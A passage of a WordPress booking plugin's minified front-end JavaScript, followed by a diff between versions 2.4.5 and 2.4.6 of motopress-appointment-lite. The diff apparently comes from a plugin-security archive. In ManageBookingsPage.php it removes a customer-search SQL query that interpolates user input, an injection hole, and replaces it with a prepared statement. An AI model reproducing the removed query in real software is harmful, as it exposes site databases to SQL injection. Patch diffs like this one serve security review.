Y(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",a=this.cartItem.getService();if(a.isGroupService()){let s=a.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=" ",i+='<span class="mpa-slot-capacity">',i+='<span class="mpa-slot-capacity-label">'+a.getQuantityLabel()+":</span>",i+="&nbsp;",i+='<span class="mpa-slot-capacity-number">'+s+"</span>",i+="</span>"}let r=ye(i,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(r),s++}s>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class ze extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const s=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const s=j(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const s=j(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const s=j(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr("data-default");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(j)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(j)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(j)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=ne(re(e,Object.keys(t)))}else s=null;const a=oe(e,t,s),r=this.category||"";we(this.$categoriesSelect,{"":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?"":String(this.serviceId);we(this.$servicesSelect,{"":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?"0":String(this.employeeId);we(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?"0":String(this.locationId);we(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(".mpa-message"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new ze(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new Ge(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new $e(this.$element.find(".mpa-booking-step-cart"),this.cart)).addStep(new De(this.$element.find(".mpa-booking-step-checkout"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new We(this.$element.find(".mpa-booking-step-payment"),this.cart)),this.steps.addStep(new ue(this.$element.find(".mpa-booking-step-booking"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u("Sorry, there are no services, employees or locations to book.","motopress-appointment")),this.$message.removeClass("mpa-hide")):this.steps.goToNextStep()}))}show(){this.$element.addClass("mpa-loaded")}}class Ye extends Qe{constructor(e){super(e.children(".widget-body").first())}}jQuery(".appointment-form-shortcode").each(((e,t)=>{new Qe(jQuery(t))})),jQuery(".appointment-form-widget").each(((e,t)=>{new Ye(jQuery(t))})),jQuery(document).ready((function(){m().settings().ready().then((()=>{jQuery(".mpa-booking-details-section [data-reservation-id]").each(((e,t)=>{let s=jQuery(t);const i=s.data("reservation-id"),a=new Date(s.data("start-time")),r=new Date(s.data("end-time")),n=s.data("service-name"),o=s.data("employee-name")+". "+s.data("quantity-label")+": "+s.data("capacity")+".",l=s.data("location-name"),h=de.createICSURL(i,a,r,n,o,l),c=de.createGoogleCalendarURL(a,r,n,o,l),p=de.createYahooCalendarURL(a,r,n,o,l);s.find(".mpa-add-to-calendar-link--google").attr("href",c),s.find(".mpa-add-to-calendar-link--apple").attr("href",h),s.find(".mpa-add-to-calendar-link--outlook").attr("href",h),s.find(".mpa-add-to-calendar-link--yahoo").attr("href",p)}))}))}))}(wp.date,mpaData,intlTelInput)}();
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/includes/admin-pages/edit/EditBookingPage.php /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/includes/admin-pages/edit/EditBookingPage.php
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/includes/admin-pages/edit/EditBookingPage.php	2023-05-04 13:20:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/includes/admin-pages/edit/EditBookingPage.php	2026-06-30 15:16:08.000000000 +0000
@@ -49,4 +49,21 @@
 			do_action( 'mpa_booking_placed_by_admin', $booking );
 		}
 	}
+
+	/**
+	 * @access protected
+	 */
+	public function enqueueScripts() {
+		// The booking editor reuses cart code that expects mpaData.nonces
+		mpa_assets()->addLocalizeData(
+			'mpa-edit-post',
+			'nonces',
+			array(
+				'mpa_create_booking' => wp_create_nonce( 'mpa_create_booking' ),
+				'mpa_create_drafts'  => wp_create_nonce( 'mpa_create_drafts' ),
+			)
+		);
+
+		parent::enqueueScripts();
+	}
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/includes/admin-pages/manage/ManageBookingsPage.php /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/includes/admin-pages/manage/ManageBookingsPage.php
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/includes/admin-pages/manage/ManageBookingsPage.php	2026-06-08 10:27:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/includes/admin-pages/manage/ManageBookingsPage.php	2026-06-30 15:16:08.000000000 +0000
@@ -307,8 +307,16 @@
 
 								$searchLikeParam = '%' . $wpdb->esc_like( $search_param ) . '%';
 
-								$subquery = "(SELECT id FROM {$wpdb->prefix}mpa_customers AS c WHERE c.name LIKE '{$searchLikeParam}' OR c.email LIKE '{$searchLikeParam}' OR c.phone LIKE '{$searchLikeParam}')";
-								$where   .= " OR ({$wpdb->prefix}postmeta.meta_key = '_mpa_customer_id' AND {$wpdb->prefix}postmeta.meta_value IN ({$subquery}))";
+								$where .= $wpdb->prepare(
+									" OR ({$wpdb->postmeta}.meta_key = %s AND {$wpdb->postmeta}.meta_value IN (
+										SELECT id FROM {$wpdb->prefix}mpa_customers AS c
+										WHERE c.name LIKE %s OR c.email LIKE %s OR c.phone LIKE %s
+									))",
+									'_mpa_customer_id',
+									$searchLikeParam,
+									$searchLikeParam,
+									$searchLikeParam
+								);
 							}
 
 							return $where;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/includes/metaboxes/booking/BookingPriceMetabox.php /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/includes/metaboxes/booking/BookingPriceMetabox.php
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/includes/metaboxes/booking/BookingPriceMetabox.php	2024-07-29 11:55:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/includes/metaboxes/booking/BookingPriceMetabox.php	2026-06-30 15:16:08.000000000 +0000
@@ -41,8 +41,9 @@
 
 		return array(
 			'total_price'       => array(
-				'type'  => 'price',
-				'label' => esc_html__( 'Total Price', 'motopress-appointment' ),
+				'type'     => 'price',
+				'label'    => esc_html__( 'Total Price', 'motopress-appointment' ),
+				'disabled' => true,
 			),
 			'coupon_id'         => array(
 				'type'    => 'select',
Binary files /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-de_DE.mo and /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-de_DE.mo differ
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-de_DE.po /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-de_DE.po
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-de_DE.po	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-de_DE.po	2026-06-30 15:16:08.000000000 +0000
@@ -176,16 +176,6 @@
 msgid "Help"
 msgstr "Hilfe"
 
-#: includes/admin-pages/custom/SettingsPage.php:199
-msgid "Settings saved."
-msgstr "Einstellungen gespeichert."
-
-#: includes/admin-pages/custom/SettingsPage.php:265
-msgid "Save Changes"
-msgstr "Änderungen speichern"
-
-#: includes/admin-pages/custom/SettingsPage.php:400
-#: includes/admin-pages/custom/SettingsPage.php:409
 #: includes/elementor/widgets/AppointmentFormWidget.php:71
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:35
 #: includes/elementor/widgets/EmployeeContactsWidget.php:35
@@ -202,18 +192,18 @@
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:26
 #: templates/private/pages/wizard.php:12
 #: assets/js/gutenberg-blocks.js:3245
-#: assets/js/gutenberg-blocks.js:11506
-#: assets/js/gutenberg-blocks.js:11801
-#: assets/js/gutenberg-blocks.js:12087
-#: assets/js/gutenberg-blocks.js:12405
-#: assets/js/gutenberg-blocks.js:12686
-#: assets/js/gutenberg-blocks.js:12809
-#: assets/js/gutenberg-blocks.js:12932
-#: assets/js/gutenberg-blocks.js:13055
-#: assets/js/gutenberg-blocks.js:13178
-#: assets/js/gutenberg-blocks.js:13301
-#: assets/js/gutenberg-blocks.js:13424
-#: assets/js/gutenberg-blocks.js:13547
+#: assets/js/gutenberg-blocks.js:11507
+#: assets/js/gutenberg-blocks.js:11802
+#: assets/js/gutenberg-blocks.js:12088
+#: assets/js/gutenberg-blocks.js:12406
+#: assets/js/gutenberg-blocks.js:12687
+#: assets/js/gutenberg-blocks.js:12810
+#: assets/js/gutenberg-blocks.js:12933
+#: assets/js/gutenberg-blocks.js:13056
+#: assets/js/gutenberg-blocks.js:13179
+#: assets/js/gutenberg-blocks.js:13302
+#: assets/js/gutenberg-blocks.js:13425
+#: assets/js/gutenberg-blocks.js:13548
 msgid "Settings"
 msgstr "Einstellungen"
 
@@ -237,27 +227,27 @@
 msgid "Filtered bookings for customer"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:486
+#: includes/admin-pages/manage/ManageBookingsPage.php:494
 msgid "All Services"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:511
+#: includes/admin-pages/manage/ManageBookingsPage.php:519
 msgid "All Employees"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:536
+#: includes/admin-pages/manage/ManageBookingsPage.php:544
 msgid "All Locations"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:573
+#: includes/admin-pages/manage/ManageBookingsPage.php:581
 msgid "Export"
 msgstr "Exportieren"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:574
+#: includes/admin-pages/manage/ManageBookingsPage.php:582
 msgid "Cancel Export"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:589
+#: includes/admin-pages/manage/ManageBookingsPage.php:597
 #: includes/admin-pages/manage/ManagePaymentsPage.php:71
 #: includes/crons/ExportBookingsCron.php:347
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:27
@@ -276,18 +266,18 @@
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:43
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:44
 #: includes/elementor/widgets/EmployeeTitleWidget.php:44
-#: assets/js/gutenberg-blocks.js:12689
-#: assets/js/gutenberg-blocks.js:12812
-#: assets/js/gutenberg-blocks.js:12935
-#: assets/js/gutenberg-blocks.js:13058
-#: assets/js/gutenberg-blocks.js:13181
-#: assets/js/gutenberg-blocks.js:13304
-#: assets/js/gutenberg-blocks.js:13427
-#: assets/js/gutenberg-blocks.js:13550
+#: assets/js/gutenberg-blocks.js:12690
+#: assets/js/gutenberg-blocks.js:12813
+#: assets/js/gutenberg-blocks.js:12936
+#: assets/js/gutenberg-blocks.js:13059
+#: assets/js/gutenberg-blocks.js:13182
+#: assets/js/gutenberg-blocks.js:13305
+#: assets/js/gutenberg-blocks.js:13428
+#: assets/js/gutenberg-blocks.js:13551
 msgid "ID"
 msgstr "ID"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/admin-pages/manage/ManageEmployeesPage.php:149
 #: includes/divi/modules/ServicesListModule.php:97
 #: includes/elementor/widgets/ServicesListWidget.php:113
@@ -297,11 +287,11 @@
 #: includes/post-types/ServicePostType.php:117
 #: assets/js/analytics-page.js:33399
 #: assets/js/calendar-page.js:45376
-#: assets/js/gutenberg-blocks.js:12464
+#: assets/js/gutenberg-blocks.js:12465
 msgid "Services"
 msgstr "Dienstleistungen"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/crons/ExportBookingsCron.php:354
 #: includes/divi/modules/AppointmentFormModule.php:64
 #: includes/divi/modules/AppointmentFormModule.php:126
@@ -321,14 +311,14 @@
 #: templates/shortcodes/booking/step-admin-cart.php:33
 #: templates/shortcodes/booking/step-service-form.php:102
 #: assets/js/calendar-page.js:38165
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3256
 #: assets/js/gutenberg-blocks.js:3303
 #: assets/js/widgets-manage-page.js:2976
 msgid "Service"
 msgstr "Service"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:591
+#: includes/admin-pages/manage/ManageBookingsPage.php:599
 #: includes/crons/ExportBookingsCron.php:357
 #: templates/shortcodes/booking/step-admin-cart.php:37
 #: templates/shortcodes/template-parts/booking-details.php:99
@@ -337,13 +327,13 @@
 msgid "Date"
 msgstr "Datum"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:592
+#: includes/admin-pages/manage/ManageBookingsPage.php:600
 #: includes/crons/ExportBookingsCron.php:358
 #: templates/shortcodes/booking/step-admin-cart.php:38
 msgid "Time"
 msgstr "Uhrzeit"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/divi/modules/EmployeesListModule.php:87
 #: includes/divi/modules/ServicesListModule.php:103
 #: includes/elementor/widgets/EmployeesListWidget.php:104
@@ -356,12 +346,12 @@
 #: includes/post-types/EmployeePostType.php:52
 #: assets/js/analytics-page.js:33437
 #: assets/js/calendar-page.js:45414
-#: assets/js/gutenberg-blocks.js:11557
-#: assets/js/gutenberg-blocks.js:12473
+#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:12474
 msgid "Employees"
 msgstr "Mitarbeiter"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/admin-pages/manage/ManageNotificationsPage.php:210
 #: includes/admin-pages/manage/ManageSchedulesPage.php:134
 #: includes/divi/modules/AppointmentFormModule.php:140
@@ -391,7 +381,7 @@
 msgid "Employee"
 msgstr "Mitarbeiter"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:594
+#: includes/admin-pages/manage/ManageBookingsPage.php:602
 #: includes/admin-pages/manage/ManageServicesPage.php:23
 #: includes/divi/modules/ServicesListModule.php:159
 #: includes/elementor/widgets/ServicesListWidget.php:193
@@ -403,11 +393,11 @@
 #: templates/service/price.php:19
 #: templates/shortcodes/booking/step-admin-cart.php:36
 #: templates/shortcodes/booking/step-cart.php:64
-#: assets/js/gutenberg-blocks.js:12559
+#: assets/js/gutenberg-blocks.js:12560
 msgid "Price"
 msgstr "Preis"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:595
+#: includes/admin-pages/manage/ManageBookingsPage.php:603
 #: includes/admin-pages/manage/ManageNotificationsPage.php:156
 #: includes/admin-pages/manage/ManagePaymentsPage.php:72
 #: includes/fields/complex/LicenseSettingsField.php:79
@@ -417,7 +407,7 @@
 msgid "Status"
 msgstr "Status"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:596
+#: includes/admin-pages/manage/ManageBookingsPage.php:604
 #: includes/admin-pages/manage/ManageNotificationsPage.php:214
 #: includes/list-tables/emails/CustomerEmailsListTable.php:32
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:86
@@ -427,7 +417,7 @@
 msgstr "Kunde"
 
 #. Translators: %s: Paid amount.
-#: includes/admin-pages/manage/ManageBookingsPage.php:695
+#: includes/admin-pages/manage/ManageBookingsPage.php:703
 #, php-format
 msgid "Paid: %s"
 msgstr "Bezahlt: %s"
@@ -473,10 +463,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:202
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:67
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:62
-#: assets/js/gutenberg-blocks.js:11634
-#: assets/js/gutenberg-blocks.js:11905
-#: assets/js/gutenberg-blocks.js:12214
-#: assets/js/gutenberg-blocks.js:12562
+#: assets/js/gutenberg-blocks.js:11635
+#: assets/js/gutenberg-blocks.js:11906
+#: assets/js/gutenberg-blocks.js:12215
+#: assets/js/gutenberg-blocks.js:12563
 msgid "Order"
 msgstr "Reihenfolge"
 
@@ -845,7 +835,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:68
 #: includes/shortcodes/AppointmentFormShortcode.php:94
 #: includes/widgets/AppointmentFormWidget.php:191
-#: assets/js/edit-post.js:9055
+#: assets/js/edit-post.js:9056
 #: assets/js/gutenberg-blocks.js:3333
 #: assets/js/widgets-manage-page.js:3069
 msgid "— Select —"
@@ -1232,7 +1222,7 @@
 #: includes/shortcodes/AppointmentFormShortcode.php:32
 #: includes/widgets/AppointmentFormWidget.php:32
 #: includes/widgets/AppointmentFormWidget.php:139
-#: assets/js/gutenberg-blocks.js:11358
+#: assets/js/gutenberg-blocks.js:11359
 msgid "Appointment Form"
 msgstr "Termin-Formular"
 
@@ -1480,7 +1470,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:76
 #: includes/shortcodes/AppointmentFormShortcode.php:100
 #: includes/widgets/AppointmentFormWidget.php:198
-#: assets/js/edit-post.js:9057
+#: assets/js/edit-post.js:9058
 #: assets/js/gutenberg-blocks.js:3202
 #: assets/js/gutenberg-blocks.js:3204
 #: assets/js/gutenberg-blocks.js:3205
@@ -1494,7 +1484,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:146
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:79
 #: includes/shortcodes/ServicesListShortcode.php:91
-#: assets/js/gutenberg-blocks.js:12492
+#: assets/js/gutenberg-blocks.js:12493
 msgid "Comma-separated slugs or IDs of tags that will be shown."
 msgstr "Durch Kommas getrennte Slugs oder IDs von Tags, die gezeigt werden."
 
@@ -1571,7 +1561,7 @@
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:20
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeAdditionalInfoShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13604
+#: assets/js/gutenberg-blocks.js:13605
 msgid "Employee Additional Information"
 msgstr "Zusatzinformationen des Mitarbeiters"
 
@@ -1592,49 +1582,49 @@
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:47
 #: includes/elementor/widgets/EmployeeTitleWidget.php:47
 #: includes/shortcodes/single-employee/AbstractSingleEmployeeShortcode.php:25
-#: assets/js/gutenberg-blocks.js:12690
-#: assets/js/gutenberg-blocks.js:12813
-#: assets/js/gutenberg-blocks.js:12936
-#: assets/js/gutenberg-blocks.js:13059
-#: assets/js/gutenberg-blocks.js:13182
-#: assets/js/gutenberg-blocks.js:13305
-#: assets/js/gutenberg-blocks.js:13428
-#: assets/js/gutenberg-blocks.js:13551
+#: assets/js/gutenberg-blocks.js:12691
+#: assets/js/gutenberg-blocks.js:12814
+#: assets/js/gutenberg-blocks.js:12937
+#: assets/js/gutenberg-blocks.js:13060
+#: assets/js/gutenberg-blocks.js:13183
+#: assets/js/gutenberg-blocks.js:13306
+#: assets/js/gutenberg-blocks.js:13429
+#: assets/js/gutenberg-blocks.js:13552
 msgid "Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise."
 msgstr "ID eines Mitarbeiters, von dem Inhalte angezeigt werden sollen, darstelken. Hinweis: Dieser Parameter verwendet automatisch die aktuelle Beitrags-ID, wenn sich ein Shortcode innerhalb des Beitrags des Mitarbeiters befindet und anderweitig erforderlich ist."
 
 #: includes/divi/modules/EmployeeContactsModule.php:20
 #: includes/elementor/widgets/EmployeeContactsWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContactsShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13358
+#: assets/js/gutenberg-blocks.js:13359
 msgid "Employee Contact Information"
 msgstr "Kontakt-Informationen des Mitarbeiters"
 
 #: includes/divi/modules/EmployeeContentModule.php:20
 #: includes/elementor/widgets/EmployeeContentWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContentShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13235
+#: assets/js/gutenberg-blocks.js:13236
 msgid "Employee Content"
 msgstr "Inhalt des Mitarbeiters"
 
 #: includes/divi/modules/EmployeeImageModule.php:20
 #: includes/elementor/widgets/EmployeeImageWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeImageShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12743
+#: assets/js/gutenberg-blocks.js:12744
 msgid "Employee Image"
 msgstr "Bild des Mitarbeiters"
 
 #: includes/divi/modules/EmployeeScheduleModule.php:20
 #: includes/elementor/widgets/EmployeeScheduleWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeScheduleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13112
+#: assets/js/gutenberg-blocks.js:13113
 msgid "Employee Schedule"
 msgstr "Terminplan des Mitarbeiters"
 
 #: includes/divi/modules/EmployeeServicesListModule.php:20
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12989
+#: assets/js/gutenberg-blocks.js:12990
 msgid "Employee Services List"
 msgstr "Liste der vom Mitarbeiter angebotenen Dienstleistungen"
 
@@ -1642,7 +1632,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:25
